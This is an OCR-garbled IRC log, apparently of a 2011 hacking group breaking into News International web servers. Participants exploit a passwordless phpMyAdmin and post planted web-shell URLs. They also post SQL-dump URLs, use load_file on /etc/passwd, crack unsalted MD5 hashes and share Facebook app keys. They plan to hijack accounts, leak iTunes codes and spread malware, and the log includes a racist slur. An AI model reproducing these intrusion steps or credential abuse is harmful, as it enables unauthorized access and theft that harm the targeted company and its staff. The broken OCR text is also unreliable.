17:27 < ■ ■ 

17:27 < 1 got an idea :> 

17:28 < 
17:29 < 

http : //extras . ti mesonl ine.co.uk/. myadmi n/ serve r_pri vi 1 eges . php?l ang=de-utf -8&serv 
=l&col 1 ati on_connecti on=utf 8_gene ral _ci 
there 3 root users (mysql) 
2 with full rights 
and one without rights 
all no password 
aye 

if we manage to delete/disable the one with no rights 
pma will use one of the others 
or just bruteforce one of the hashes 
from the other users 
but they only have USAGE too 
dmnd 

they are SO lucky 

its just luck that it picks this user aa 
(i bet the did not intend this behavior) 
Don't think so either. 

while doing so we should maybe lock out the other users. 




I should just block jesfag © twitter, 
i did that a long time ago :p 

a! 

got them 



■that guy really makes me mad. 



http : //eWras . thesun . co . uk/wordpress/phpMyAdmi n-2 . 11 . 10 . 1-engl i sh/i ndex . php?l=l 
full database access 
no i can unblock the other user 

'•now 

and remove this temporary mysql installation 
nice work DO eet 

btw. I'll s^H distant shores for the next week, but will phone home 

every now and then. ;) 
18:03 < ^^^^^1 have fun travelling :) 
18:03 < ty 

|kerpi a-Dl070EE9 . b-ras3 . mvw. gal way . ei rcom . net] has 




18:05 ■ 
joi necn 


18: 


:05 


< 


18: 


:05 


< 


18: 


:05 


< 


18: 


:06 


< 


18: 


:06 


< 


18: 


:06 


< 


18: 


:06 


< 


18: 


:06 


< 


18: 


:06 


< 


18: 


:08 


< 


18: 


:08 


< 


18: 


:08 


< 


18: 


:08 


< 


18: 


:08 


< 


18: 


:10 


< 


18: 


:10 


< 


18: 


:10 


< 


18: 


:10 


< 


18: 


:10 


< 


18: 


:10 


< 


18: 


:10 


< 


18: 


:11 


< 


18: 


:11 




18: 


:11 


< 


18: 


:11 


< 


18: 


:12 


< 


18: 


:12 


< 


18: 


:12 


< 




! sunnydays 




hey 

111 be away tonight 

ill get us a vps 



- whatup? 

so you can geht a vhost in #vhost here in think 

Done 

forgot I had no VHOST 

and I have to move my infodox to this box now 
im camping with french chicks tonight 

anyone able to teach me some french? 

vous voulez me baiser? < — very important! 
success 

i could extract new data 
on the sun box 

whats that mean? 

YAY 

You want to fuck me? 
ironically, I was gonna ask how to say that 

^ has joined #! sunnydays 

thats all I need , nor 

also, how I say "you want vodka?" 

vous voulez un peu de vodka? <-- You want some vodka? 
http : //wi ki send . com/downl oad/242 594/sun_auth_new . htm 
! ! 
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18:12 
18:12 
18:12 
18:12 
18:12 
18:13 
18:13 
18:13 




18:13 
18:13 



< 
< 

18:13 t 
18:14 < 
18:14 < 
18:14 < 
18:14 < 
18:14 < 
18:14 < 
18:14 < 
18:15 < 
18:16 < 
18:16 < 
sure thi 
18:17 < 
18:17 < 
18:17 < 
http://i 
18:17 < 
18:18 
18:18 
18:18 
18:18 
:\ 

18:18 
18:18 
enjoy th" 
18:18 < 
18:18 < 
18:18 < 
18:18 < 
18:19 < 
18:19 < 
18:21 < 
18:21 < 
18:21 < 
18:22 < 
18:23 < 
18:24 < 
18:24 < 
18:25 < 
18:26 < 
;26 < 
< 
< 

;26 < 
:26 < 
< 
< 
< 
< 

;27 < 
:27 < 





18: 
18:26 
18:26 
18: 
18: 
18:26 
18:26 
18:26 
18:27 
18: 
18: 



#! sunnydays .log 
up 2 date internal user database 
nice! 

> :D 

and dammit, this keyboard is tiny 
but 

I CAN FUCKING PACKET INJECT :D 

lulz 

ich netbook did you choose? :) 
more!! epic finds 
nice few mobiles as w^M 

whats the date on th e files? 

Fantastic work 

the date is: NOW() 

hacked a mysql server on their network 
epic 

setup a pma installation for this server here 
http : //extras . thesun . co . uk/wordpress/pma/ . myadmi n/ 

can you post the details?? 

hat exactly i did? 

- I fixed my old acer aspire one 

http^/wi ki send . com/download/242594/sun_auth_new. htm < — im pretty 
1 lead us to some internal emails 
:D 

epic win is epic 

> pndering whether to change my twitter avatar: 
magebi n .org/163271 

https : //remotemai 1 . newsi nt .co.uk 

- why does it have to fucking rain? 
in page 
srsly ! 

ill want one of those ideapd sl2, but they stopped selling them. 

- the french scouts arrived, im gonna make sure they 

ier stay :D 

-'French girl scouts 

> nice nice, with hashes or sabu could help i guess 
: P 

yes, 

: //remotemai 1 .newsint.co.uk < — need domain 

XXX/USER: PASS 

ok 

could it be just thesun. co.uk/uSER:PASS 
there is logins for news of the world too 

yes 

I wonder what the logins are for? 

intranet/email I guess 
or maybe some cms 

maybe the post stories app? 

I wonder what the logins are for? 





18:28 
18:28 
18:28 
18:29 
18:29 
18:30 
18:30 



im searching the server for *extauth* right now 
http : // i magebi n .org/163274 
what u think? 
as twitter avatar 
good idea 

k :) 

if we can find the CMS login it could be a lot of fun! 
time to change after almost a year 

It's nice 

http : //vdl-ti m : 8080/StoryServer/docs/cmd ref /SOURCE . html 

the full table names are 

another server link i found 

m ce 
where? 

sorry i don't know, just found it in my notes here 
must of glanced over it before 
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18:32 < 
18:32 < 
18:32 
18:33 < 




journalists to post storys on the go 



# lsunnydays.log 
the main sun site runs the escenic cms 
maybe we can find the login in some documentation 
[^^H^^l^^l has quit [Ping timeout] 
iwouTaasumei t has to be remotlely accessible for 



18:33 
18:39 
18:39 
18:43 
18:43 
18:43 
18:43 
18:46 
joi ne 
18:47 
18:47 
18:47 
18:49 



maybe 





they have to use vpn for this 

maybe 

ok have mysql user passwords 

it appears the root user doesn't have a pass 

i'm gonna change the phpmyadmin login to root 

has quit [input/output error] 
see It there is any more db's 

kerpi a-E7E36827 . b-ras3 . mvw. gal way . ei rcom . net] has 



! sunnydays 



ok 

nothing more 
so I changed 




it back 




holy tuck 

i ttp : //en . wi ki pedi a . org/wi ki /Rebekah_B rooks 
_ interesting :) 

lat's the IP of the server escenic is resting on? 

huh? 

"default it can be remotely configured on port 8080 
has joined #! sunnydays 

"ba"cl< 

I'm not sure what server escenic is on 
its the main sun site that its serving 
the times too i think 
wuery 



19:02 
19:04 
before 
19:04 
19:04 
19:04 
19:04 
19:04 
19:06 
19:08 
19:09 
19:09 
19:09 

19:10 

[user quit" 
19:11 < . 
soundi ng" 
19:13 < 



he means 
yup :) 
why is it, 



that when I decide to "compile something quick 




it takes 9001 years? 
to fucking compile? 
karma 

it must be 
gcc HATES me 

_C45A96F3.CB47D490.A27E456C.IP] has joined #! sunnydays 
wnat's the last name name of the sailor girl? qry me 



kerpia-E7E36827.b-ras3.mvw.galway.eircom.net] has quit 

Leavi ngl 

2009-12-10 10:31:21 John Sturgis voicemail is chippy 
northern bloke so I suspect he hasn\'t shagged tiger 
http : //journal i sted . com/john-sturgi s 

so we can connect to the microsite2 server anyways? 
asfsfasdfasdf 

why do netsplits always happen 
when I'm asleep 




■ IP] 



has quit 



ignore all of my qrys then 

C45A96F3.C B47D490.A 27E456C. 

net] Local kill by ^^BB (-)] 
thx 
okay 

could you quickly explain what you think happened? 
and op us m :) 
woohoo 
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#! sunnydays .log 
pre tty cool http://pastehtml.com/view/bOkOa5x5q.html 

yup 

C45A96F3.CB47D490.A27E456C.IP] has quit [User quit: 



19:32 < 
19:32 < 
19:33 m 
termi naTj 
19:33 < ^^^m heh 

^^'■^^ < ■■■■ t>ut this is still best the: 
http://img8^^mageshack. us/img823/8882/grabmystache. png 
19:33 < aye, that's epic 

19:34 mode/#! sunnydays [+000000000 



Lost 




W34 < 

linked to you an( 
19:34 < 
19:35 <( 
19:35 <( 
19:35 <( 

19:36 <( 

i nteresting jot 
19:36 <f 
19:36 <( 
19:36 <( 
19:36 <( 
19:36 <( 
19:36 <( 
19:36 <( 
19:37 <( 
19:37 
kill b7 



you cou Id of course always register some dummy nick that is not 
register the channel on it 
: P 

1 can reg channel with that nick 
_ epic 

we just never bothered i guess 
ok i kill all inclusi' 





ive some poor users doing his 



killed * 
lol 



ah damn 
lol 

kill ^^^g too please 
cant access that shell atm 



(ok) J 
thx 



erpia-B39FE274.com] has quit [[kerpia.cryto.net] Local 



most likely it was a screen bug 
the clone i mean 

i s nov!n<nown as 
mode/#! sunnydays [+ntr] 
e/#! sunnydays [+q 
!aop add 
oh 

- kerpia.cryto.net 





ChanServ 
by ChanServ 



Forbidding Q-lined nick nickserv from 




IP 



thefuck 

from two different 

IPS* 

uhm? 

? ? 

nickserv is fine i hope :p 
so we can talk here again? 

yar 



19:38 
19:38 
19:38 
19:38 
19:38 
19:38 
19:38 
19:38 < 
19:38 < 

[xx . XX . XX . XX 

19:38 
19:38 < 
19:39 < 
19:39 
19:39 
19:39 
19:40 
19:40 
19:40 

http : //extras . thesun . co. uk/wordpress/pma/.myadmi n/sql . php?db=vg_notw&sql_query=SE 
LECT%20comment . timestamp, CONCAT(extauth . extauth_fi rstname ,%22%20%22 , extauth . extau 
th_l astname) , comment . comment%20FROM%20extauth%20lNNER%20JOlN%20%60comment%60%20ON 
%20comment . use r=extauth . extauth_i d ; 
19:40 <@^H 

http : //extras . thesun . co . u k/wordp res s/pma/ .myadmi n/sql . php?db=vg_sun&sql_query=SEL 
ECT%20comment . ti mestamp , CONCAT (extauth . extauth_f i rstname ,%22%20%22 , extauth . extaut 
h_l astname) , comment . comment%20FROM%20extauth%20lNNER%20JOIN%20%60comment%60%20ON% 
20comme nt . use r=extauth . extauth_i d ; 

19:41 <^^^H investigate what this is about aa if you got time and i did not 
qry'ed to you before 

19:41 <~fl^^^H hm you queried me the wikisend with that weird table 
19:41 H [J^WEFE974C5 . CB47D 490 . A27E456C. IP] has joined #!sunnydays 

19:41 ^H^oae7#!sunnyaays [+0 ^^^g by ChanServ 

19:42 <^^|^^ ©AnonymouslRC new Avatar suggests a quite nice interpreation: 
original #Anonymous movement gets kidnapped by #lulzsec and dragged along 
19:42 < ~^^^^B kidnapped Oo 

19:42 <^^^^M ok about the i tunes codes i was thinking something 
19:42 <^^^^H T found ppl to tested them 

< g^^^M could release without saying came from murdoch in diff blocks 
<^^^^M so we give ppl time to use them 
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19:43 <' 
19:43 < 
19:43 < 

19:44 <_ 

use them tomo 
19:44 <' 
19:44 <' 
19:45 < 
19:47 < 

19:47 < 

http://extras 
ECT%20code_st 




# lsunnydays.log 
maybe but test them f i rst 
they could be expired 

they tested them and the codes were working? 
i say, i just called some friends to push some ppl there to 



give feedback 

should ^sk^^B 
mean theseV 



if he knows ppl who could test them 



19: 


:49 


<(s| 


19: 


:49 


<@f 


19: 


;50 


<@ 


19: 


:50 


<@ 


19: 


;50 


<@ 


19: 


;51 


<^ 


19: 


;51 


<@ 


19: 


;51 


<@ 


19: 


;52 


<(s| 


19: 


;52 




19: 


;52 


<@i 


http://f 


19: 


;52 


<® 


19: 


:52 


<@ 


19: 


:52 


<@ 


19: 


;52 


<(S 


19: 


;52 


<@l 


19: 


;52 


<@ 


19: 


;53 


< 


19: 


;53 


< 


timeout) 


19: 


;53 


< 1 


kerpia.c 


19: 


;53 


< 


19: 


;53 


< 


timeout) 


19: 


;53 


< 1 


kerpia.c 


19: 


:53 


< 1 


19: 


:53 




19: 


;54 




19: 


;54 




19: 


;54 




19: 


;54 


<\ 


19: 


;54 


<^ 


19: 


;54 


< 


19: 


:54 


< 


19: 


;54 


< 


19: 


;54 


< 


19: 


;54 


< 


19: 


;55 


< 


19: 


;55 


< 


19: 


;55 


<\ 


19: 


;55 




19: 


;55 


< 


the US, 


19: 


;55 


< 


19: 


:56 




20: 


:01 




20: 


;03 


<(s| 


20: 


:03 


<^ 


20: 


:03 




20: 


;03 




20: 


;07 




20: 


;08 


1 


20: 


;08 








. thesun . co. uk/wordpress/pma/.myadmin/sql . php?db=i tunes&sql_query=SEL 
r%20 FROM% 20codes%20WHERE%20code_regi strati on_id%20lS%20NOT%20NULL 
oh u remember me 

i have the sql dump of all databases there 
i found root cron the dumping all days or so 
look at /root/backups 
we cant access root 
i could 

also just in case i uploaded more shells in diff places 

wait i 11 post them 

http: //extras . thesun . co.uk/wordpress/footer2b.php 
http: //www. newsgroupdigi tal . com/images/utf8 . php 

1 ext ras . ti mesonl i ne . co . uk/pl ayerstats beto_marci co . php 

http : //www . new-ti mes . co . uk/utf 8 . php 
oh indeed 

./root/backup is accessable 
yep 

i donwloaded the dump of 13.07 
have to take a look later 
thefuck 

[Fri Jul 15 18:10:44 2011] - SQUIT kerpia.cryto.net (Ping 

[Fri :ul 15 18:12:24 2011] - Connect to host 
:ffff :98.142.213.226] failed: Invalid argument 
[Fri :ul 15 18:12:25 2011] - SERVER kerpia.cryto.net 
[Fri :ul 15 18:19:40 2011] - SQUIT kerpia.cryto.net (Ping 

[Fri :ul 15 18:21:20 2011] - Connect to host 
:ffff :98.142.213.226] failed: invalid argument 
[Fri :ul 15 18:21:22 2011] - SERVER kerpia.cryto.net 

EFE974C5.CB47D490.A27E456C.IP] has joined #!sunnydays 

o 

is now known as 

what's that^^ 
's the hub ircd logs 

oh 

god 

maybe it's just level 3 
agai n 

levels has been having issues for like 2 days now 
yesterday the entire link between level 3 and NTT disappeared 
like, just a hole in the internet health report chart 
rofl 

_ jassiem and the hub are both in germany, but kerpia is in 
: may explain the splits 
how are u? 

!rpia-E5807c43. perfect-privacy. com] has quit [Ping timeout] 

re did y ou find th e m ysql login details 
e/FTsunnydays [+o ^^^^^^ by mmilll 

wi ch 

_ the login name you used in the phpmyadmin config? 
Its was basically like this: 

1) Discovered http://extras.timesonline.co.Uk/.myadmin/ 
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20:08 < 



2) 



#! sunnydays.log 



http : // extras . ti mesonl i ne . co . uk/ . myadmi n/server_pri vi 1 eges . php?l ang=en-utf -8&serv 
er=l&co1 1 ati on_connecti on=utf 8_genera1_ci 



20:09 



3) So there is a User with no password, no host restriction and 



full access called ' vg_notwuser ' 



20:09 
20:10 < 

20:10 < 

(user 'root 
20:10 < 
20:10 < 
20:10 < 
20:10 < 
20:10 < 
20:11 
20:11 
20:11 
20:11 
20:11 < 
20:12 <' 
20:12 
20:12 
20:12 





microsite2 



4) Could not change config.inc.php of this phpMyAdmin -> Fuck 
was phpmyadmin already there? 
Copied the whole thing to our Docroot and changed the config 

to 'vg_notwuser ') 
The first one 

ah ok sorry 
nice one man! 

But keep in mind that this is a second server 
we are on micrositel 
But they kinda belong together 

[J kerpia-A87c 441. perfect-pri vacy .com] has joined #!sunnydays 
Isunnydays [+qo ^^^^^^^^H by Chanserv 
the fu 

reg nick? 

I wonder whats hosted on microsite2 
I think root can ssh into microsite2 with out a pass 

yes 

the admin probably has a key on that server 

'•for 

somewhere in /root 
_ meh cant connect to anonops 
the fuck 

. / uOl/web/sky . page3 . com/basedi r/conf i g . i nc . php 
is that ours? 

194.8.74.43:6697 



_ re 
But it 



.maybe being dosed again. 



XD 



20:12 
20:12 < 
20:13 < 
20:13 <' 
20:13 
20:13 
20:13 
20:14 
20:14 <' 
20:14 < 
20:14 < 
20:14 <' 
20:14 <' 
20:14 < 
20:14 < 
20:14 
20:14 
20:14 
20:15 
20:15 
20:15 
20:16 
20:18 
20:19 < 
20:19 
20:19 < 
20:19 
20:19 
20:21 
20:26 
20:26 < 
20:27 < 
20:29 
20:29 

. /uOl/web/ extras . thesun.co.uk/basedi r/sunbeams-html /sunbeams- thanh/my_version/dev 
/star_rati ng_php/. rsrc/connectdb. php 
20:29 <(i " ■ ■ ■ ■ 

20:29 <(! 
20:29 <(! 
20:30 <G 
20:30 <(<. 

http : //www. escapi stmagazi ne . com/news/vi ew/111670-U-S-Senator-we-Need-to-Look-lnto 
-Anonymous -Pronto 



s laggy as hell 
yes why not 

uOl/web/sky . page3 . com/basedi r/conf ig. inc. php 
<?php # web Shell by oRb 
[. . .] 

Connecting to i rc. anonops. li (194.8.74.43) port 6697. 
* Connected. Now logging in... 
then timeout 
ohwi 

me idiot 
hmm 

not werky 

server are split... and lag is @ 130 for me atm. 
ah 94.75.228.146 worked for me 
i registered my nick... 

op 
ah 

no bot 

mode/#! sunnydays [+o 
^ :) 

mode/# ! sunnydays [-q 

yes that sf 
Saou you there? 
guys is ps working for you? 

FFFFUUUUUUUUU 








wtf 


s 


are 




7 



rsc is like a version control thing or something? 



20:30 < 
20:31 < 



epic pic 
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to recognize anything 

box 



# lsunnydays.log 

http : //extras . thesun . co . uk/wordpress/f ooterZb . php?act=f&f=connectdb . php&d=%2Fu01% 
2Fweb%2Fextras . thesun . co. uk%2Fbasedi r%2Fsunbeams-html%2Fsunbeams-thanh%2Fmy_versi 
on%2Fdev%2Fstar_rati ng_php& 
nice :) 

_ i love how that system totally fails 
hey guys 

_ despite the fax that killed the 

what can we do with faceoook api keys? 

_ seems he just rebooted it and never wondered what happened 
basically everything we can do with a facebook login? 

hm guess you can hijack fb accounts 
^ with tweetdeck or other apps 
we have much murdoch facebook accounts 

but idk, no clue about fb 
me neither 

but it could serve lulz 
"with facebook api keys you can do some nasty stuff. Most collecting 

okay i will make a list 
. . and a pi zza - brb 
hf 

do you have pastebin admin still? 

don't think so. 
had that 

as a CEO consuuming crown though, 
not that that matters much heh 
apparently didn't even have admin, he just knew the admin 

also is AnonOps down? 
yeah had that via ^^^H 
try 94.75.228.146 
lool look @antisec 
# 

dns may be down... or hub .. .whatever 

btw we need the App ID, API key and App secret. . .otherwi se they're 
use (besides embarassment for newsint) 
ok 

collect all of those 
if you guys didn't read this yet, very nice article: 
dai 1 y/ i ntel /2011/06/ i _spent_a_coi n_and_i_l i ked_i t . html 
W^i^M had pastebin admin 

tn^paste^ui owner actually detailed a spam attack in one 
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<d 
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;38 




20; 


;38 
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<@ 
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<@ 
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<(9 
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<^ 
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<@f 
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<^ 
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;42 


<@f 
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;42 


<@ 
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<@ 
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;43 
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;43 


<@ 
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;43 


<@ 
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;43 


<d 


20; 


;47 


<(9 


of 


almos 
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;48 
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;48 
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;52 


<(9 


http://n 
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article 
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;53 


<^ 
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;53 
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;53 


<^ 
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;53 


<^ 
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;53 
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;53 
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;53 


<@ 
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;53 


<@ 
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;53 


<(s| 
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;53 




20; 
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;54 
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;54 
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;54 
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<(S| 
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<@ 







that was 

the demanowas that | 
or he would continue 
got admin. 



^1 wanted pastebin admin 
spammi ng 




PROFIT 




that's pretty weak. 

wel 1 

lackmailing into admin? :o 
I remember the pastebin guy working on filtering the spam 
but just kept updating his spam routine 

to get around it 
rofl 

the shit out of pastebin, demand admin, ????, 
no ddos 
: P 

just spam 

would work too I guess :P 

e this 

Sappapikey = 'ce979777817dcbdd4735ae2ab4714ee0' ; 
Sappsecret = ' 3e89715f47a554d032b3306e9ed60422 ' ; 

7 

yup, like this 

Okay 
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Icode-shari ng- 



#! sunnydays .log 
http : //thenextweb . com/soci al medi a/2011/06/05/pastebi n-how-a- 
site-became-the-ul ti mate-hacker-hangout/ 
20:55 <^|^^^^H I requested with the admin of pastebin that I be given access to 
Jester' s pastebi n account, it probably won't happen but it's worth a try 
20:55 <^V^HH I will probably just update all his pastes with "I am a useless 
nigger" at the bo ttom 

20:55 <^^H^^H "Earlier this year Pastebin was under heavy attack by a hacker. 
This person was creating about 500 new pastes per second, all which were very 
much alike. Each item contained an email address and a message saying that I had 
to cont act that e mail address if I wanted this attack to stop. 
20:55 <^^H^^^B The requests came from thousands of different lPa??s, but I 
managed to stop it for a few minutes until the hacker came up with another type 
of attack. Eventually I contacted the person in question. He replied that he was 
very impressed with my infrastructure, and that he wanted to know on what kind of 
hardware and software I was running. 



20:55 <«. 

infrastructure. 



_ He was a big fan of Pastebin, and simply wanted to test the 
Of course I was fuming with anger at the time of the attack. 
Funnily enough, over time we got to know each other, and since then he has helped 
me guar d off vari ous other attacks." 
20:55 <^^H^^Hthat was 
20:56 <^^^^^^^^^M he shoUlc] give you ip. 
20:56 < 
20:56 < 




about us having pastes removed 



probably Tor 

in fact Jester probably made the pastebin just because he heard 



20:56 
20:56 
20:57 
post 
20:57 
21:00 




maybe he thinks pastebin is safe ;) 
lol 

it's likely some stupid troll where he will make a lame blog 




detailing how we got trolled or something 

"I greatly enjoy Senator McCain's suggestion that it's even 

remotely possible to stop Anonymous from doing whatever they want to whoever they 
want. It is the information age and you are up against an infinite number of 
bored geeks with nothing better to do. Against this onslaught you have a number 
of security techs who will only work 8 hours a day 5 days a week, and only as 
many of them as you are willing to pay. You are trying to hold bac 



21:00 < 
21:00 < 
21:00 < 
21:00 < 
21:01 < 
ruffl ed 




some 



k the ocean with sandbags, 
nice comment 

rof 1 , nice 

great ! 

I don't really think Anonymous is dangerous. I mean, they've 
eathers, and temporarily taken down sites, but at their most 



dangerous they're kind of like Greenpeace. Sure, they scare the pants off of some 
people, but Anonymous' goals seem relatively benevolent, and they do have ideals. 
Lulzsec is more of the because it's there, ' motivation, but even they aren't 
really out to s teal anything. The bottom line here is that neith 
21:01 <^^^^H group should be seen as the enemy. 
21:01 <^^^^H some really goood comments in the mccain article 
21:01 <<S^^^^m link? 
21:01 <<S^^^r 

http : //www. escapi stmagazi ne . com/news/vi ew/111670-U-S-Senator-we-Need-to-Look-lnto 
-Anonymous -Pronto 
■ m 

1 just love that picture 

indeed 
ire completly down? 
seems so 

el i city is up atm but i dunno if it restarted yet 
was a global it will reboot 
now it did i think 

»kerpia-A87C441. perfect-privacy. com] has quit [Ping timeout] 
kerpia-E5807C43.perfect-privacy.com] has joined #! sunnydays 




! sunnydays [+qo 

I'll just get myse 



by ChanServ 
"thinkpad. . .they' re cheap and 



21:21 < 

21:22 < 

21:22 < 

21:23 < 



gdmn 



yes 



guys are the shells loading for you? 
nevermi nd 
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21:25 < 
21:25 < 
server? 
21:25 < 
21:26 < 
21:26 < 
21:26 < 
21:26 < 
21:27 < 
21:27 < 
21:27 < 
setup 
21:27 < 
21:27 < 
21:28 < 
21:29 < 
21:29 < 
21:31 < 
21:32 < 
21:32 < 
21:33 < 
21:33 < 
21:33 < 
21:34 <' 
21:41 <' 
21:41 <' 
21:41 < 
21:41 < 
21:41 < 
21:42 < 
21:42 < 
21:42 < 
21:42 < 
21:42 < 
21:42 <' 
21:42 <' 

21:42 < _ 

sun and news 
21:43 < 
21:43 < . 
the safe 
21:43 



21:44 <(asabu> 
21:44 <(asabu> 
21:44 <' 
21:44 <' 
21:44 <©Sabu> 
21:44 <©Sabu> 
21:44 <©Sabu> 

21:44 <(asabu> 
21:44 < 

21:44 < 

21:44 <@Sabu> 
21:44 <(asabu> 
21:44 <(asabu> 
21:45 <' 
21:45 <' 



#! sunnydays .log 
ok the vg_notwuser has all privilages on microsite2 
could we write a shell to a web accesible place on that 

if its writable? 

we could 

but mysql user probably cant write anywhere 
and we have no info on paths 

ok, put we could use load_file? 

yes 

load file worked on /etc/passwd 

and apache configs are probably in the same 1 ocati on/si mi 1 

so we can load pache conf 
rightA 

might be a way in? 

yes 

i ' 1 1 gi ve it a go 

k 

it works 
1 spawning? 
Running wild - Under Jolly Roger 
not yet 

but I can read the apache. conf 

s good 

Yo ^^B. yknow when ^^^g^^ will be back? 

: rnt^//pri vatepaste^om7aa94b95cl0 #antisec 

some fb keys 
about 50% 
yo yo 

also hi sabu 






21:45 
21:45 
21:45 
21:45 
21:45 
21:45 




orry don't know tbh 

just woke up 
hi sabu 

hi Sabu, has done some create work 

sup Sabu 

He found name emails and password hashes for a load od sen 
e world executives 
they need cracking, we might be able to dump mails!! 

will you around fora while? If so, tell pwn to give | 

ress :p 

also gief the hashes D: 
ya ill be around for an hour or two 

http : //wi ki send . com/downl oad/312038/sun_auth . htm 
http : / /wi ki send . com/downl oad/242594/sun_auth_new . htm 
Anashes MD5 unsaltedA 
that sfucking great 
lets get to it 
kk 

T Sabu my bro. . . sup. missed u 
OFG 
OMFG 
OMFG 
lol 

LKLOPS 

yes! 

well pal, stab to gief the address to for the fun : 

ARE YOU SAFE BRO? 

I THOUGHT YOU GOT ARRESTED 

ITS BEEN 2 WEEKS MOTHER FUCKER 

Sabu 

yer caps is on 
nooo. i have exams atm 
he was active on twitter tho :p 
oh you mean 
year^^^ 
<3<3<3 

we were a bit in worry :d 
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<©sabu> 




you scared me bro 



#! sunnydays .log 



you say that betore you left? i must have missed it 
hug Sabu \o/ 

Rebekah wade = http://en.wikipedia.org/wiki/Rebekah_Brooks 
no thex owned my warmashine 
but all is ok 

yes and then i had my exams 
so no time to own a new box 

also ill leave this box running, not really the fast one 

but itll crac k a bit 

Andy Coulson ^■^^■^■^^■^■^■^^^^^^^^1 
big boxes are Dus^l^r^otne^sr^^D^^^^^^^^ 

http : //en . wi ki pedi a . org/wi ki/Andy_Coul son 

Sabu, was looking for you 

new i w^^Ttry to own some .mil.* 
*now 

that anonymous porn site is win 

Bkerpia-E5807c43.perfect-privacy.com] has quit [Connection 

wai t 
sabu 

what 

Tan . CO . uk/medi a -year-old-arrested 
we need to crack these hashes! 

kerpia-E5807c43.perfect-privacy.com] has joined #!sunnydays 
was that? 
what was my quit? 
oh lol i didnt quit? 
rofl 
aha 



u_ i s now known as 



(Connection reset by peer 
21:54 <^^m btw: 
.oev^ 



cerpia-E5807C43 . perfect-privacy . com) Quit 



#! sunnydays [+o 
baiscally we can use t 

*basi cal 1 y 




opens . f acebook . net/vi ewtopi c . php?i d=71906 
gonna leave this box running 2night 
lol thx :) 
on al I those hashes 
thanks alot! 

md5 unsalted should give me some results tomorrow morning 

Some of them appear to be the username twice 

tl;dr for now 
read it later 
thx 
I op 



by ChanServ 

lose to sign our own 



'apps" and gain axx to 



btw reg nick? 
on yes sure 
sabu too 

okay guys I just finished the official Anonops butthurt 

I will upload shortly 
"hehe sounds good :) 
Anonops butthurt assessment form 
the fuck? 
_ regged 
and added 
?Sabu> from the emails/passes do we 
radix from hashkiller will crack 
we did crack none of them so 
_ dont know how hard we tried 
:00 <@Sabu> message me the hashes 
:00 <@Sabu> can you pastee.org with encryption? 
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22:02 
22:03 < 
22:03 
22:03 
22:06 
22:07 
22:07 ~ 
22:07 < 
22:07 
22:07 
22:07 
22:08 
22:08 < 
22:08 < 
22:08 < 
22:08 < 
22:08 < 
22:08 < 
22:08 < 
22:08 < 
22:08 < 
22:09 
22:09 
22:09 
22:09 
22:09 
22:09 
22:13 
22:13 
22:13 < . 
sun db's" 
22:14 <' 
22:14 <' 
22:14 <' 
22:14 <' 
22:17 
22:17 <@Sabu> 
22:17 <@Sabu> 
22:17 <@Sabu> 
22:17 <(asabu> 
22:18 
22:18 

22:19 

22:19 <(dsabu> 

22:19 < 

http : //www. sec 
22:20 <' 
22:20 < 
22:20 
22:21 



# lsunnydays.log 

spammed me via msg haha 

o we know the ip of microsite2? 

no 

wait sabu 

still can't get on AnonOps, any IP working? 

is it this microsite2.wpng.newsint.co.uk ? 

yes 

thats it 

http : //i . i mgu r . com/QXlvl . j pg 
252.77.126 then it is. 

FE974 C5 . CB47D 490 . A27E456C . IP] has quit [Ping timeout] 
has quit [Ping timeout] 

sec 
28.146 




lol nice 
works 1 

ary 



or me and is unsplit 




wanna tweet? ill RT 

tweet what? 
haha looks very good *sti 1 1 readi ng* 
the butthurt 

I tweeted that 

and thanks for IP 

RT if you wanna :D 
oh sorry 

what port for that IP? 
done 

ssl works for me 6697 

ssl works 

try a few times maybe 
okay that worked 
thank you 
cheers 

https : //pastee . org/f 3s9x 
password is murdoch 

thats is a list of all the user hashes from the notw and the 




1 n 

an 

al ready 

ok 

ok 

im here 
the pas 
they' re 
radix 
k nice 
would 
e still 
haha 



the format user: hash 
d I have removed duplicates 
sent them to sabu - he seems afk 



ses were sent to our hashkiller team 
the guys comppeting at defcons crack the code btw 



so totally love to see ab @ defcon 
hasn't delivered a shoe on head pic. :( 




22:29 

once th e pwna g 

22:29 <i^B 
22:30 <(asabu> 
22:30 <@Sabu> 
22:30 <@Sabu> 
22:30 
22:30 
22:31 




urityfocus.eom/archive/l/archive/l/478988/100/0/threaded 
im not sure if i got this 
it only lets me load an UDF from a .so ? 
but it would be still executed with the php user rights? 
s & ed.ch again ^^^^^g 
thanks sabu 

If we get some of these emails it could be very interesting! 
er all of that shit and use their addresses to spread malware 
e begins. 

guess what this is : https ://143 . 252 .4. 187/ 
an open cisco router @ murdoch ?! 
oh shit 

ROFL 

I sen t hash es to nig 

<(£^^^ an open cisco router @ murdoch ?! < — lawl 
abooose et 
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# lsunnydays.log 

22:32 <^^H Your certificate contains the same serial number as another 

certificate issued by the certificate authority. Please get a new certificate 

containing a unique serial number. < — :p 

22:32 <@sabu> where did we get these password hashes? 

22:32 <@sabu> are they salted? 

22:32 <@sabu> I find it hard that these journalists have passwords that are not 



not alted i think and got them through their SQL i believe 

they're no infosec whiteha^oastards. :> 
from their sql dump iirc 
Sabu they are not salted 
i verfied it 

i got a few using freerainbowtables.com 

but wait i can link it to you 
not salted 

some were coming up as a username added to itself 
its just raw-md5 

eg. 

user H^^B pass ^^^^^^^g 

but I aunno 

well im cracking them too so i should have some results 
only got one guess at dcsdcs atm 
Sa5u: 



stupid 


22; 


;32 


<i 


22; 


;32 


<i 


22; 


;32 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;34 


<i 


22; 


;34 


<i 


22; 


;34 


<i 


22; 


;34 


<i 


22; 


;34 


<i 


22; 


;34 


<i 




http : //extras . thesun . co . uk/wordpress/pma/.myadmi n/sql 

ECT%20*%20FROM%20%60extauth%60 

22:35 <^HH 

http : // extras . thesun . co . uk/wordpress/pma/ . myadmi n/sql 
LECT%20*%20FROM%20%60extauth%60 



php?db=vg_sun&sql_query=SEL 



php?db=vg_notw&sql_query=SE 



22:35 
22:35 



i shall report back in like 8-10 hours with cracking results 

okay 

going at 624M c/s 
not so fast i no ; . ; 
4000 

Sabu, also 

http : //i mg82 3 . i mageshack . us/i mg82 3/8882/grabmystache . png ; D 




22:36 < 
22:36 < 



if i stop mining. 

i never mine on this pc, but another box is busy with that, and 



cracking some WEP on again another box 



22:36 
22:36 




22:39 
22:39 
22 
22 
22 



39 <(asabu> COCKS 
39 <(asabu> err 



